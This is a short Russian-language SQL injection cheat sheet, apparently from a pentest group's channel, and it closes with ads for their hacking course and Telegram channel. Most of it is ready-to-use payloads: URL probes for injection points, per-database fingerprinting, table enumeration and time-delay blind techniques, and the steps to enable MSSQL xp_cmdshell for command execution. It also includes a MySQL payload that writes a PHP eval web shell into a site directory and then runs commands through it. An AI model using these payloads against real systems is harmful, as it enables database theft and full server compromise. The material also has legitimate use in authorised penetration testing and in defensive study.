1) SQL Injection в строковом параметре
Примеры:
SELECT * from table where name = "$_GET['name']"
SELECT id, acl from table where user_agent = '$_SERVER["HTTP_USER_AGENT"]'
2) SQL Injection в цифровом параметре
Примеры:
SELECT login, name from table where id = $_COOKIE["id"]
SELECT id, news from table where news = 123 limit $_POST["limit"]
http://site/?param=1'
http://site/?param=1"
http://site/?param=1 order by 1000
http://site/?param=1'--
http://site/?param=1'/*
http://site/?param=1'#
http://site/?param=1 AND 1=1--
http://site/?param=1 AND 1=2--
http://site/?param=1' AND '1'='1
Различия СУБД
Пример для MSSQL:
EXEC xp_cmdshell 'ipconfig /all';
Для использования xp_cmdshell в MSSQL >= 2005 необходимо выполнить:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Пример для MySQL:
Запись web-shell в файл /www/img/shell.php:
/?id=1+union+select+'<?eval($_request[shell]);?>'+into+outfile+'/www/img/shell.php'
Выполнение команд на сервере:
/img/shell.php?shell=passthru('ls');
Вы можете объединить несколько строк в одну.
ORACLE:
'foo'||'bar'
MICROSOFT:
'foo'+'bar'
POSTGRESQL:
'foo'||'bar'
MYSQL:
'foo' 'bar'
CONCAT('foo','bar')
Вы можете извлечь часть строки из указанного смещения с указанной длиной. Обратите внимание, что индекс смещения отсчитывается от 1. Каждое из следующих выражений вернет строку 'ba'.
ORACLE:
SUBSTR('foobar', 4, 2)
MICROSOFT:
SUBSTRING('foobar', 4, 2)
POSTGRESQL:
SUBSTRING('foobar', 4, 2)
MYSQL:
SUBSTRING('foobar', 4, 2)
Вы можете использовать комментарии, чтобы усечь запрос и удалить часть исходного запроса, которая следует за вашим вводом.
ORACLE:
--comment
MICROSOFT:
--comment
/*comment*/
POSTGRESQL:
--comment
/*comment*/
MYSQL:
#comment
-- comment [Обратите внимание на пробел после двойного тире]
/*comment*/
Вы можете запросить базу данных, чтобы определить ее тип и версию. Эта информация полезна при формулировании более сложных атак.
ORACLE:
SELECT banner FROM v$version
SELECT version FROM v$instance
MICROSOFT:
SELECT @@version
POSTGRESQL:
SELECT version()
MYSQL:
SELECT @@version
Вы можете перечислить таблицы, существующие в базе данных, и столбцы, которые эти таблицы содержат.
ORACLE:
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MICROSOFT:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
POSTGRESQL:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MYSQL:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Вы можете вызвать задержку по времени в базе данных при обработке запроса. Следующее вызовет безусловную задержку времени 10 секунд.
ORACLE:
dbms_pipe.receive_message(('a'),10)
MICROSOFT:
WAITFOR DELAY '0:0:10'
POSTGRESQL:
SELECT pg_sleep(10)
MYSQL:
SELECT sleep(10)
Вы можете протестировать одно логическое условие и активировать временную задержку, если условие истинно.
ORACLE:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MICROSOFT:
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
POSTGRESQL:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MYSQL:
SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
Курс по этичному хакингу: cyberden.pw/kurs
Сайт нашей команды: cyberteam.tech/pentest
TG-канал: https://t.me/cyberden_team
hack@cyberden.pw